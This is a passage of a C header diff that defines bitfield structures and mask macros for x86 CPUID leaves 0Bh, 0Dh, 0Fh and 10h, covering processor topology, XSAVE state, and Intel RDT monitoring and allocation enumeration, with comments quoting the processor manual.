0x01) + uint32_t reserved2 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0a; + + +/** + * @brief Extended Topology Enumeration Leaf + * + * When CPUID executes with EAX set to 0BH, the processor returns information about extended topology enumeration data. + * Software must detect the presence of CPUID leaf 0BH by verifying + * - the highest leaf index supported by CPUID is >= 0BH, and + * - CPUID.0BH:EBX[15:0] reports a non-zero value. + * + * @note Most of Leaf 0BH output depends on the initial value in ECX. The EDX output of leaf 0BH is always valid and does + * not vary with input value in ECX. Output value in ECX[7:0] always equals input value in ECX[7:0]. Sub-leaf index 0 + * enumerates SMT level. Each subsequent higher sub-leaf index enumerates a higherlevel topological entity in hierarchical + * order. For sub-leaves that return an invalid level-type of 0 in ECX[15:8]; EAX and EBX will return 0. If an input value + * n in ECX returns the invalid level-type of 0 in ECX[15:8], other input values with ECX > n also return 0 in ECX[15:8]. + */ +#define CPUID_EXTENDED_TOPOLOGY 0x0000000B +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] Number of bits to shift right on x2APIC ID to get a unique topology ID of the next level type. All logical + * processors with the same next level ID share current level. + * + * @note Software should use this field (EAX[4:0]) to enumerate processor topology of the system. + */ + uint32_t x2apic_id_to_unique_topology_id_shift : 5; +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_BIT 0 +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_FLAG 0x1F +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_MASK 0x1F +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT(_) (((_) >> 0) & 0x1F) + uint32_t reserved1 : 27; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Number of logical processors at this level type. The number reflects configuration as shipped by Intel. + * + * @note Software must not use EBX[15:0] to enumerate processor topology of the system. This value in this field + * (EBX[15:0]) is only intended for display/diagnostic purposes. The actual number of logical processors available to + * BIOS/OS/Applications may be different from the value of EBX[15:0], depending on software and platform hardware + * configurations. + */ + uint32_t number_of_logical_processors_at_this_level_type : 16; +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_BIT 0 +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_FLAG 0xFFFF +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_MASK 0xFFFF +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 7:0] Level number. Same value in ECX input. + */ + uint32_t level_number : 8; +#define CPUID_ECX_LEVEL_NUMBER_BIT 0 +#define CPUID_ECX_LEVEL_NUMBER_FLAG 0xFF +#define CPUID_ECX_LEVEL_NUMBER_MASK 0xFF +#define CPUID_ECX_LEVEL_NUMBER(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Level type. + * + * @note The value of the "level type" field is not related to level numbers in any way, higher "level type" values do not + * mean higher levels. Level type field has the following encoding: + * - 0: Invalid. + * - 1: SMT. + * - 2: Core. + * - 3-255: Reserved. + */ + uint32_t level_type : 8; +#define CPUID_ECX_LEVEL_TYPE_BIT 8 +#define CPUID_ECX_LEVEL_TYPE_FLAG 0xFF00 +#define CPUID_ECX_LEVEL_TYPE_MASK 0xFF +#define CPUID_ECX_LEVEL_TYPE(_) (((_) >> 8) & 0xFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] x2APIC ID the current logical processor. + */ + uint32_t x2apic_id : 32; +#define CPUID_EDX_X2APIC_ID_BIT 0 +#define CPUID_EDX_X2APIC_ID_FLAG 0xFFFFFFFF +#define CPUID_EDX_X2APIC_ID_MASK 0xFFFFFFFF +#define CPUID_EDX_X2APIC_ID(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0b; + +/** + * @defgroup cpuid_eax_0d \ + * EAX = 0x0D + * + * When CPUID executes with EAX set to 0DH and ECX = 0, the processor returns information about the bit-vector + * representation of all processor state extensions that are supported in the processor and storage size requirements of + * the XSAVE/XRSTOR area. + * When CPUID executes with EAX set to 0DH and ECX = n (n > 1, and is a valid sub-leaf index), the processor returns + * information about the size and offset of each processor extended state save area within the XSAVE/XRSTOR area. Software + * can use the forward-extendable technique depicted below to query the valid sub-leaves and obtain size and offset + * information for each processor extended state save area: + *
 For i = 2 to 62 // sub-leaf 1 is reserved IF (CPUID.(EAX=0DH, ECX=0):VECTOR[i] = 1) // VECTOR is the 64-bit value
+ * of EDX:EAX Execute CPUID.(EAX=0DH, ECX = i) to examine size and offset for sub-leaf i; FI; 
+ * @{ + */ +#define CPUID_EXTENDED_STATE_INFORMATION 0x0000000D + /** + * @brief Processor Extended State Enumeration Main Leaf (EAX = 0DH, ECX = 0) + */ +typedef struct +{ + /** + * @brief Reports the supported bits of the lower 32 bits of XCR0. XCR0[n] can be set to 1 only if EAX[n] is 1 + */ + union + { + struct + { + /** + * [Bit 0] x87 state. + */ + uint32_t x87_state : 1; +#define CPUID_EAX_X87_STATE_BIT 0 +#define CPUID_EAX_X87_STATE_FLAG 0x01 +#define CPUID_EAX_X87_STATE_MASK 0x01 +#define CPUID_EAX_X87_STATE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] SSE state. + */ + uint32_t sse_state : 1; +#define CPUID_EAX_SSE_STATE_BIT 1 +#define CPUID_EAX_SSE_STATE_FLAG 0x02 +#define CPUID_EAX_SSE_STATE_MASK 0x01 +#define CPUID_EAX_SSE_STATE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] AVX state. + */ + uint32_t avx_state : 1; +#define CPUID_EAX_AVX_STATE_BIT 2 +#define CPUID_EAX_AVX_STATE_FLAG 0x04 +#define CPUID_EAX_AVX_STATE_MASK 0x01 +#define CPUID_EAX_AVX_STATE(_) (((_) >> 2) & 0x01) + + /** + * [Bits 4:3] MPX state. + */ + uint32_t mpx_state : 2; +#define CPUID_EAX_MPX_STATE_BIT 3 +#define CPUID_EAX_MPX_STATE_FLAG 0x18 +#define CPUID_EAX_MPX_STATE_MASK 0x03 +#define CPUID_EAX_MPX_STATE(_) (((_) >> 3) & 0x03) + + /** + * [Bits 7:5] AVX-512 state. + */ + uint32_t avx_512_state : 3; +#define CPUID_EAX_AVX_512_STATE_BIT 5 +#define CPUID_EAX_AVX_512_STATE_FLAG 0xE0 +#define CPUID_EAX_AVX_512_STATE_MASK 0x07 +#define CPUID_EAX_AVX_512_STATE(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Used for IA32_XSS. + */ + uint32_t used_for_ia32_xss_1 : 1; +#define CPUID_EAX_USED_FOR_IA32_XSS_1_BIT 8 +#define CPUID_EAX_USED_FOR_IA32_XSS_1_FLAG 0x100 +#define CPUID_EAX_USED_FOR_IA32_XSS_1_MASK 0x01 +#define CPUID_EAX_USED_FOR_IA32_XSS_1(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] PKRU state. + */ + uint32_t pkru_state : 1; +#define CPUID_EAX_PKRU_STATE_BIT 9 +#define CPUID_EAX_PKRU_STATE_FLAG 0x200 +#define CPUID_EAX_PKRU_STATE_MASK 0x01 +#define CPUID_EAX_PKRU_STATE(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 3; + + /** + * [Bit 13] Used for IA32_XSS. + */ + uint32_t used_for_ia32_xss_2 : 1; +#define CPUID_EAX_USED_FOR_IA32_XSS_2_BIT 13 +#define CPUID_EAX_USED_FOR_IA32_XSS_2_FLAG 0x2000 +#define CPUID_EAX_USED_FOR_IA32_XSS_2_MASK 0x01 +#define CPUID_EAX_USED_FOR_IA32_XSS_2(_) (((_) >> 13) & 0x01) + uint32_t reserved2 : 18; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) required by enabled features in XCR0. + * May be different than ECX if some features at the end of the XSAVE save area are not enabled. + */ + uint32_t max_size_required_by_enabled_features_in_xcr0 : 32; +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_BIT 0 +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_FLAG 0xFFFFFFFF +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_MASK 0xFFFFFFFF +#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) of the XSAVE/XRSTOR save area + * required by all supported features in the processor, i.e., all the valid bit fields in XCR0. + */ + uint32_t max_size_of_xsave_xrstor_save_area : 32; +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_BIT 0 +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_FLAG 0xFFFFFFFF +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_MASK 0xFFFFFFFF +#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Reports the supported bits of the upper 32 bits of XCR0. XCR0[n+32] can be set to 1 only if EDX[n] is 1. + */ + uint32_t xcr0_supported_bits : 32; +#define CPUID_EDX_XCR0_SUPPORTED_BITS_BIT 0 +#define CPUID_EDX_XCR0_SUPPORTED_BITS_FLAG 0xFFFFFFFF +#define CPUID_EDX_XCR0_SUPPORTED_BITS_MASK 0xFFFFFFFF +#define CPUID_EDX_XCR0_SUPPORTED_BITS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0d_ecx_00; + +/** + * @brief Direct Cache Access Information Leaf + */ +typedef struct +{ + union + { + struct + { + uint32_t reserved1 : 1; + + /** + * [Bit 1] Supports XSAVEC and the compacted form of XRSTOR if set. + */ + uint32_t supports_xsavec_and_compacted_xrstor : 1; +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_BIT 1 +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_FLAG 0x02 +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_MASK 0x01 +#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports XGETBV with ECX = 1 if set. + */ + uint32_t supports_xgetbv_with_ecx_1 : 1; +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_BIT 2 +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_FLAG 0x04 +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_MASK 0x01 +#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Supports XSAVES/XRSTORS and IA32_XSS if set. + */ + uint32_t supports_xsave_xrstor_and_ia32_xss : 1; +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_BIT 3 +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_FLAG 0x08 +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_MASK 0x01 +#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS(_) (((_) >> 3) & 0x01) + uint32_t reserved2 : 28; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] The size in bytes of the XSAVE area containing all states enabled by XCRO | IA32_XSS. + */ + uint32_t size_of_xsave_aread : 32; +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_BIT 0 +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_FLAG 0xFFFFFFFF +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_MASK 0xFFFFFFFF +#define CPUID_EBX_SIZE_OF_XSAVE_AREAD(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 7:0] Used for XCR0. + */ + uint32_t used_for_xcr0_1 : 8; +#define CPUID_ECX_USED_FOR_XCR0_1_BIT 0 +#define CPUID_ECX_USED_FOR_XCR0_1_FLAG 0xFF +#define CPUID_ECX_USED_FOR_XCR0_1_MASK 0xFF +#define CPUID_ECX_USED_FOR_XCR0_1(_) (((_) >> 0) & 0xFF) + + /** + * [Bit 8] PT state. + */ + uint32_t pt_state : 1; +#define CPUID_ECX_PT_STATE_BIT 8 +#define CPUID_ECX_PT_STATE_FLAG 0x100 +#define CPUID_ECX_PT_STATE_MASK 0x01 +#define CPUID_ECX_PT_STATE(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Used for XCR0. + */ + uint32_t used_for_xcr0_2 : 1; +#define CPUID_ECX_USED_FOR_XCR0_2_BIT 9 +#define CPUID_ECX_USED_FOR_XCR0_2_FLAG 0x200 +#define CPUID_ECX_USED_FOR_XCR0_2_MASK 0x01 +#define CPUID_ECX_USED_FOR_XCR0_2(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 3; + + /** + * [Bit 13] HWP state. + */ + uint32_t hwp_state : 1; +#define CPUID_ECX_HWP_STATE_BIT 13 +#define CPUID_ECX_HWP_STATE_FLAG 0x2000 +#define CPUID_ECX_HWP_STATE_MASK 0x01 +#define CPUID_ECX_HWP_STATE(_) (((_) >> 13) & 0x01) + uint32_t reserved2 : 18; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0d_ecx_01; + +/** + * @brief Processor Extended State Enumeration Sub-leaves (EAX = 0DH, ECX = n, n > 1) + * + * @note Leaf 0DH output depends on the initial value in ECX. Each sub-leaf index (starting at position 2) is supported if + * it corresponds to a supported bit in either the XCR0 register or the IA32_XSS MSR. + * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf n (0 <= n <= 31) is invalid if sub-leaf 0 + * returns 0 in EAX[n] and sub-leaf 1 returns 0 in ECX[n]. Sub-leaf n (32 <= n <= 63) is invalid if sub-leaf 0 returns 0 in + * EDX[n-32] and sub-leaf 1 returns 0 in EDX[n-32]. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] The size in bytes (from the offset specified in EBX) of the save area for an extended state feature + * associated with a valid sub-leaf index, n. + */ + uint32_t ia32_platform_dca_cap : 32; +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] The offset in bytes of this extended state component's save area from the beginning of the XSAVE/XRSTOR + * area. + * This field reports 0 if the sub-leaf index, n, does not map to a valid bit in the XCR0 register. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] Is set if the bit n (corresponding to the sub-leaf index) is supported in the IA32_XSS MSR; it is clear if bit n + * is instead supported in XCR0. + */ + uint32_t ecx_2 : 1; +#define CPUID_ECX_ECX_2_BIT 0 +#define CPUID_ECX_ECX_2_FLAG 0x01 +#define CPUID_ECX_ECX_2_MASK 0x01 +#define CPUID_ECX_ECX_2(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Is set if, when the compacted format of an XSAVE area is used, this extended state component located on the next + * 64-byte boundary following the preceding state component (otherwise, it is located immediately following the preceding + * state component). + */ + uint32_t ecx_1 : 1; +#define CPUID_ECX_ECX_1_BIT 1 +#define CPUID_ECX_ECX_1_FLAG 0x02 +#define CPUID_ECX_ECX_1_MASK 0x01 +#define CPUID_ECX_ECX_1(_) (((_) >> 1) & 0x01) + uint32_t reserved1 : 30; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] This field reports 0 if the sub-leaf index, n, is invalid; otherwise it is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0d_ecx_n; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_0f \ + * EAX = 0x0F + * + * When CPUID executes with EAX set to 0FH and ECX = 0, the processor returns information about the bit-vector + * representation of QoS monitoring resource types that are supported in the processor and maximum range of RMID values the + * processor can use to monitor of any supported resource types. Each bit, starting from bit 1, corresponds to a specific + * resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) that software must use to + * query QoS monitoring capability available for that type. See Table 3-8. + * When CPUID executes with EAX set to 0FH and ECX = n (n >= 1, and is a valid ResID), the processor returns information + * software can use to program IA32_PQR_ASSOC, IA32_QM_EVTSEL MSRs before reading QoS data from the IA32_QM_CTR MSR. + * @{ + */ +#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_MONITORING_INFORMATION 0x0000000F + /** + * @brief Intel Resource Director Technology (Intel RDT) Monitoring Enumeration Sub-leaf (EAX = 0FH, ECX = 0) + * + * @note Leaf 0FH output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource type starting at bit + * position 1 of EDX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. + */ + uint32_t rmid_max_range : 32; +#define CPUID_EBX_RMID_MAX_RANGE_BIT 0 +#define CPUID_EBX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF +#define CPUID_EBX_RMID_MAX_RANGE_MASK 0xFFFFFFFF +#define CPUID_EBX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + uint32_t reserved1 : 1; + + /** + * [Bit 1] Supports L3 Cache Intel RDT Monitoring if 1. + */ + uint32_t supports_l3_cache_intel_rdt_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_BIT 1 +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_FLAG 0x02 +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING(_) (((_) >> 1) & 0x01) + uint32_t reserved2 : 30; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0f_ecx_00; + +/** + * @brief L3 Cache Intel RDT Monitoring Capability Enumeration Sub-leaf (EAX = 0FH, ECX = 1) + * + * @note Leaf 0FH output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Conversion factor from reported IA32_QM_CTR value to occupancy metric (bytes). + */ + uint32_t conversion_factor : 32; +#define CPUID_EBX_CONVERSION_FACTOR_BIT 0 +#define CPUID_EBX_CONVERSION_FACTOR_FLAG 0xFFFFFFFF +#define CPUID_EBX_CONVERSION_FACTOR_MASK 0xFFFFFFFF +#define CPUID_EBX_CONVERSION_FACTOR(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. + */ + uint32_t rmid_max_range : 32; +#define CPUID_ECX_RMID_MAX_RANGE_BIT 0 +#define CPUID_ECX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF +#define CPUID_ECX_RMID_MAX_RANGE_MASK 0xFFFFFFFF +#define CPUID_ECX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bit 0] Supports L3 occupancy monitoring if 1. + */ + uint32_t supports_l3_occupancy_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_BIT 0 +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_FLAG 0x01 +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Supports L3 Total Bandwidth monitoring if 1. + */ + uint32_t supports_l3_total_bandwidth_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_BIT 1 +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_FLAG 0x02 +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports L3 Local Bandwidth monitoring if 1. + */ + uint32_t supports_l3_local_bandwidth_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_BIT 2 +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_FLAG 0x04 +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 29; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0f_ecx_01; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_10 \ + * EAX = 0x10 + * + * When CPUID executes with EAX set to 10H and ECX = 0, the processor returns information about the bit-vector + * representation of QoS Enforcement resource types that are supported in the processor. Each bit, starting from bit 1, + * corresponds to a specific resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) + * that software must use to query QoS enforcement capability available for that type. + * When CPUID executes with EAX set to 10H and ECX = n (n >= 1, and is a valid ResID), the processor returns information + * about available classes of service and range of QoS mask MSRs that software can use to configure each class of services + * using capability bit masks in the QoS Mask registers, IA32_resourceType_Mask_n. + * @{ + */ +#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_ALLOCATION_INFORMATION 0x00000010 + /** + * @brief Intel Resource Director Technology (Intel RDT) Allocation Enumeration Sub-leaf (EAX = 10H, ECX = 0) + * + * @note Leaf 10H output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource identification + * (ResID) starting at bit position 1 of EBX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). + */ + uint32_t ia32_platform_dca_cap : 32; +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + uint32_t reserved1 : 1; + + /** + * [Bit 1] Supports L3 Cache Allocation Technology if 1. + */ + uint32_t supports_l3_cache_allocation_technology : 1; +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_BIT 1 +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x02 +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports L2 Cache Allocation Technology if 1. + */ + uint32_t supports_l2_cache_allocation_technology : 1; +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_BIT 2 +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x04 +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Supports Memory Bandwidth Allocation if 1. + */ + uint32_t supports_memory_bandwidth_allocation : 1; +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_BIT 3 +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_FLAG 0x08 +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_MASK 0x01 +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION(_) (((_) >> 3) & 0x01) + uint32_t reserved2 : 28; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_00; + +/** + * @brief L3 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 1) + * + * @note Leaf 10H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. + */ + uint32_t length_of_capacity_bit_mask : 5; +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) + uint32_t reserved1 : 27; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. + */ + uint32_t ebx_0 : 32; +#define CPUID_EBX_EBX_0_BIT 0 +#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF +#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF +#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + uint32_t reserved1 : 2; + + /** + * [Bit 2] Code and Data Prioritization Technology supported if 1. + */ + uint32_t code_and_data_priorization_technology_supported : 1; +#define 